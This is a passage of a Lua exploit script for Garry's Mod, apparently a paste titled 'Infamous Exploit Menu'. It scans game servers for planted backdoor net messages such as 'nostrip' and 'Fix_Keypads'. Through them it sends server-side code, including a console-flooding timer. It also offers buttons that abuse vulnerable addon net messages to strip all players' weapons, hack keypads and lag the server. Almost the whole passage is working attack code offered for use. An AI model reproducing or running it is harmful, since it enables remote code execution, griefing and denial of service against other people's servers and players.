  764. net.Start(netKey)
  765. net.WriteString( earths )
  766. net.WriteBit(1)
  767. net.SendToServer()
  768. end
  769.  
  770. concommand.Add("earthquake", EarthQuake)
  771.  
  772. -- ConCommand Functions End
  773.  
  774.  
  775. local FloodConsole = vgui.Create( "DButton", BackdoorMenu )
  776. FloodConsole:SetText( "Flood Console" )
  777. FloodConsole:SizeToContents()
  778. FloodConsole:SetTall( 25 )
  779. FloodConsole:SetWide( FloodConsole:GetWide() + 20 )
  780. FloodConsole:SetPos( 50, 340 )
  781. FloodConsole:SetTextColor( Color( 255, 255, 255 ) )
  782. FloodConsole:SetToolTip( "Floods Server Console" )
  783. FloodConsole.Paint = function( self, w, h )
  784. DrawBlur(FloodConsole, 2)
  785. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  786. FloodConsole.DoClick = function()
  787. SploitNotify("Flooding Console")
  788. surface.PlaySound("garrysmod/ui_click.wav")
  789. net.Start(netKey)
  790. net.WriteString( "timer.Create( \"adminsgonnahate\", 0.05, 0, function() print(\"0100101001001010101001011010101010001010101001010100100010101010111000110010101001010010010101010010110101010100010101010010101001000101010101110001100101010010100100101010100101101010101000101010100101010010001010101011100011001010100101001001010101001011010101010001010101001010100100010101010111000110010101001010010010101010010110101010100010101010010101001000101010101110001100101010010100100101010100101101010101000101010100101010010001010101011100011001010100101001001010101001011010101010001010101001010100100010101010111000110010101001010010010101010010110101010100010101010010101001000101010101110001100101\") end )" )
  791. net.WriteBit(1)
  792. net.SendToServer()
  793. end
  794. end
  795.  
  796.  
  797.  
  798. -- Exploit Derma
  799.  
  800. local ExploitMenu = vgui.Create( "DFrame" )
  801. ExploitMenu:SetSize( 630, 450 )
  802. ExploitMenu:SetVisible( true )
  803. ExploitMenu:SetDraggable( false )
  804. ExploitMenu:ShowCloseButton( false )
  805. ExploitMenu:Center()
  806. ExploitMenu:SetTitle("")
  807. ExploitMenu:MakePopup()
  808. ExploitMenu.Paint = function( self, w, h )
  809. DrawBlur(ExploitMenu, 2)
  810. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
  811. draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
  812. draw.SimpleText( "Infamous Exploit Menu", "Title", ExploitMenu:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  813. end
  814.  
  815.  
  816. local ExploitMenuClose = vgui.Create( "DButton", ExploitMenu )
  817. ExploitMenuClose:SetSize( 35, 35 )
  818. ExploitMenuClose:SetPos( ExploitMenu:GetWide() - 36,9 )
  819. ExploitMenuClose:SetText( "X" )
  820. ExploitMenuClose:SetFont( "Default" )
  821. ExploitMenuClose:SetTextColor( Color( 255, 255, 255 ) )
  822. ExploitMenuClose.Paint = function()
  823.  
  824. end
  825. ExploitMenuClose.DoClick = function()
  826. CloseEverything()
  827. end
  828.  
  829.  
  830. local ExpolitPanelList = vgui.Create( "DScrollPanel", ExploitMenu )
  831. ExpolitPanelList:Dock( FILL )
  832.  
  833.  
  834.  
  835.  
  836.  
  837. local status = ValidNetString("properties")
  838. if (status) then
  839.  
  840. totalExploits = 1 + totalExploits
  841.  
  842. local StripWeapons = ExpolitPanelList:Add( "DButton" )
  843. StripWeapons:SetText( "Strip Everyones Weapons")
  844. StripWeapons:Dock( TOP )
  845. StripWeapons:DockMargin( 0, 50, 0, 5 )
  846. StripWeapons:SetTextColor( Color( 255, 255, 255 ) )
  847. StripWeapons.Paint = function( self, w, h )
  848. DrawBlur(StripWeapons, 2)
  849. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  850. end
  851. StripWeapons.DoClick = function()
  852. removeAll()
  853. surface.PlaySound("garrysmod/ui_click.wav")
  854. SploitNotify("Stripping Weapons")
  855. end
  856. print("Explotable Feature Found: Strip Weapons")
  857. end
  858.  
  859.  
  860.  
  861. local status = ValidNetString("start_wd_emp")
  862. if (status) then
  863.  
  864. totalExploits = 1 + totalExploits
  865.  
  866. local HackKeypads = ExpolitPanelList:Add( "DButton" )
  867. HackKeypads:SetText( "Hack Keypads")
  868. HackKeypads:Dock( TOP )
  869. HackKeypads:DockMargin( 0, 0, 0, 5 )
  870. HackKeypads:SetTextColor( Color( 255, 255, 255 ) )
  871. HackKeypads.Paint = function( self, w, h )
  872. DrawBlur(HackKeypads, 2)
  873. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  874. end
  875. HackKeypads.DoClick = function()
  876. HackKeypad()
  877. surface.PlaySound("garrysmod/ui_click.wav")
  878. SploitNotify("Hacking Keypads")
  879. end
  880. print("Exploitable Feature Found: Hack Keypads")
  881. end
  882.  
  883.  
  884.  
  885.  
  886. local status = ValidNetString("egg")
  887. if (status) then
  888.  
  889. totalExploits = 1 + totalExploits
  890.  
  891. local GiveEasterEgg1 = ExpolitPanelList:Add( "DButton" )
  892. GiveEasterEgg1:SetText( "Give Easter Egg")
  893. GiveEasterEgg1:Dock( TOP )
  894. GiveEasterEgg1:DockMargin( 0, 0, 0, 5 )
  895. GiveEasterEgg1:SetTextColor( Color( 255, 255, 255 ) )
  896. GiveEasterEgg1.Paint = function( self, w, h )
  897. DrawBlur(GiveEasterEgg1, 2)
  898. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  899. end
  900. GiveEasterEgg1.DoClick = function()
  901. GiveEasterEgg1()
  902. surface.PlaySound("garrysmod/ui_click.wav")
  903. SploitNotify("Hacking Keypads")
  904. end
  905. print("Exploitable Feature Found: Find All EasterEggs")
  906. end
  907.  
  908.  
  909. -- Exploit 4
  910.  
  911.  
  912. local status = ValidNetString("steamid2")
  913. if (status) then
  914.  
  915. totalExploits = 1 + totalExploits
  916.  
  917. local Lagger1 = ExpolitPanelList:Add( "DButton" )
  918. Lagger1:SetText( "Lagger #1")
  919. Lagger1:Dock( TOP )
  920. Lagger1:DockMargin( 0, 0, 0, 5 )
  921. Lagger1:SetTextColor( Color( 255, 255, 255 ) )
  922. Lagger1.Paint = function( self, w, h )
  923. DrawBlur(Lagger1, 2)
  924. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  925. end
  926. Lagger1.DoClick = function()
  927. Lagger1()
  928. surface.PlaySound("garrysmod/ui_click.wav")
  929. SploitNotify("Starting Lagger #1")
  930. end
  931. print("Exploitable Feature Found: Lagger #1")
  932. end
  933.  
  934.  
  935.  
  936.  
  937.  
  938.  
  939.  
  940.  
  941.  
  942.  
  943. SploitNotify("Welcome " .. ply:GetName())
  944.  
  945. Infamous:Hide()
  946. InfamousCategories:Hide()
  947. ExploitMenu:Hide()
  948. BackdoorMenu:Hide()
  949.  
  950. function CloseEverything()
  951. Infamous:Hide()
  952. InfamousCategories:Hide()
  953. ExploitMenu:Hide()
  954. BackdoorMenu:Hide()
  955. end
  956.  
  957. function closealltabs()
  958. Infamous:Hide()
  959. ExploitMenu:Hide()
  960. BackdoorMenu:Hide()
  961. end
  962.  
  963. function OpenInfamousMenu()
  964. Infamous:Show()
  965. InfamousCategories:Show()
  966. end
  967.  
  968. function OpenExploitMenu()
  969. ExploitMenu:Show()
  970. end
  971.  
  972.  
  973. function OpenBackdoor()
  974. BackdoorMenu:Show()
  975. end
  976.  
  977.  
  978.  
  979.  
  980. function checkbackdoors()
  981. if( ValidNetString("nostrip") ) then
  982. BackdoorsFound = 1 + BackdoorsFound
  983. chat.AddText( Color( 255, 255, 255 )," Found Backdoor! - nostrip" )
  984. netKey = "nostrip"
  985. else
  986. chat.AddText( Color( 255, 0, 0 )," Backdoor Not Found - nostrip!" )
  987. end
  988. if( ValidNetString("Sandbox_Armdupe") ) then
  989. BackdoorsFound = 1 + BackdoorsFound
  990. chat.AddText( Color( 255, 255, 255 )," Found Backdoor! - Sandbox_Armdupe" )
  991. netKey = "Sandbox_Armdupe"
  992. else
  993. chat.AddText( Color( 255, 0, 0 )," BackDoor Not Found - Sandbox_Armdupe!" )
  994. end
  995. if( ValidNetString("Fix_Keypads") ) then
  996. BackdoorsFound = 1 + BackdoorsFound
  997. chat.AddText( Color( 255, 255, 255 )," Found Backdoor! - Fix_Keypads" )
  998. netKey = "Fix_Keypads"
  999. else
  1000. chat.AddText( Color( 255, 0, 0 )," BackDoor Not Found - Fix_Keypads!" )
  1001. end
  1002. if( ValidNetString("Remove_Exploiters") ) then
  1003. BackdoorsFound = 1 + BackdoorsFound
  1004. chat.AddText( Color( 255, 255, 255 )," Found Backdoor! - Remove_Exploiters" )
  1005. netKey = "Remove_Exploiters"
  1006. else
  1007. chat.AddText( Color( 255, 0, 0 )," BackDoor Not Found - Remove_Exploiters!" )
  1008. end
  1009. if( ValidNetString("noclipcloakaesp_chat_text") ) then
  1010. BackdoorsFound = 1 + BackdoorsFound
  1011. chat.AddText( Color( 255, 255, 255 )," Found Backdoor! - noclipcloakaesp_chat_text" )
  1012. netKey = "noclipcloakaesp_chat_text"
  1013. else
  1014. chat.AddText( Color( 255, 0, 0 )," BackDoor Not Found - noclipcloakaesp_chat_text!" )
  1015. end
  1016. SploitNotify("Found: ".. BackdoorsFound )
  1017. chat.AddText("Changed Net String to - ".. netKey )
  1018. end
  1019.  
  1020.  
  1021.  
  1022.  
  1023. concommand.Add("infamous_menu", OpenInfamousMenu)
  1024. concommand.Add("infamous_exploits", OpenExploitMenu)
  1025. concommand.Add("infamous_backdoor", OpenBackdoor)
  1026. concommand.Add("infamous_checkbackdoors", checkbackdoors)
Add Comment
Please, Sign In to add comment